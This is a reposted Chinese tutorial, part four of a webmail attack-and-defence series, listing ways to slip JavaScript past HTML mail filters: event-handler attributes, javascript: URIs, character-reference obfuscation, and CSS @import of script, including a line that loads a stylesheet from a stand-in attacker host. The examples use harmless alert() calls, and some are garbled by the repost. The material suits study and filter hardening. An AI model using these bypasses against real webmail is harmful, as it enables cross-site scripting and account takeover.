Webmail攻防实战(4)
2008-02-23 06:16:53来源:互联网 阅读 ()
鉴于脚本程式可能带来的危险,WebMail系统完全有必要禁止html邮件中的脚本程式。禁止脚本程式的基本做法就是过滤掉html源程式中能够使脚本程式运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。下面是些常见的绕过脚本程式过滤的方法,不少的WebMail系统仍然没有完全改正:
(1)在html语言里,除了script元素内的或在script元素内引入的脚本程式能在html页面装载时被运行外,使用事件属性也能调用脚本程式运行,事件属性在JavaScript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程式运行。他的语法如下:
<tagattribute1attribute2onEventName="javascriptcode;">
例如:
<bodyonload="alert('JavaScript#1isexecuted');"> <ahref="#"onclick="alert('JavaScript#2isexecuted');">Clickhere</a> <formmethod="post"action="#"onsubmit="alert('JavaScript#3isexecuted');"> <inputtype="submit"value="Submit"> </form> </body> |
(2)URI(UniversalResourceIdentifier:通用资源标识)用于定位Internet上每种可用的资源,如HTML文档、图像、声音等。浏览器根据URI的资源类型(URIscheme)调用相应的程式操作该资源,假如把一些元素的URI属性值的资源类型设为javascript,则能够调用javascript程式运行。语法如下,注意要用“;”分隔不同的javascript语句:
<tagattribute="javascript:javascript-code;">
例如:
<bodybackground="javascript:alert('JavaScript#1isexecuted');"> <ahref="javascript:alert('JavaScript#2isexecuted');">Clickhere</a> <formmethod="post"action="javascript:alert('JavaScript#3isexecuted');"> <inputtype="submit"value="Submit"> </form> <imgsrc="javascript:alert('JavaScript#4isexecuted');"> </body> |
(3)由于软件和硬件或其他原因,一些冷僻或特别的字符不能输入或正确显示在html页面上,为了解决这个问题,html中能够使用SGML字符参考。字符参考是一种用来指定文档字符集中任何字符的单独编码机制,以“&”开始,以“;”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“&#D;”(D代表一个十进制数),或“&#xH;”、“&#XH;”(H代表一个十六进制数),例如“A;”、“A;”表示字母“A”,“水;”、“水;”表示汉字“水”。
攻击者把html语句里的一些字符以数字字符参考来代替,这样能避开WebMail系统对脚本程式的过滤。需要注意的是,元素和属性不能够用字符参考表示,例如:
<body> <imglowsrc="ja;vasC;ript:alert('JavaScript#1isexecuted')"> <ahref="j;avA;sC;ript:;aler;t('JavaScript#2 i;ܾxecuted')">Clickhere;</a> <formmethod="post"action="javascript:alert('JavaScript#3is executed')"> <inputtype="S;ubmit"value="Submit"> </form> </body> |
(4)样式表是层叠样式表单(CSS:CascadingStyleSheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),他能够将样式信息和网页内容相分离,在html语言的style标签内能够用@import声明输入一个样式表。但是,假如输入的资源类型或内容是javascript,InternetExplorer浏览器仍然会执行。
例如:<styletype="text/css"> <!-- @importurl(javascript:alert('JavaScript#1isexecuted')); @importurl(http://www.attacker.com/js.css); --> </style> |
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
上一篇: Webmail攻防实战(3)
下一篇: Webmail攻防实战(5)
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash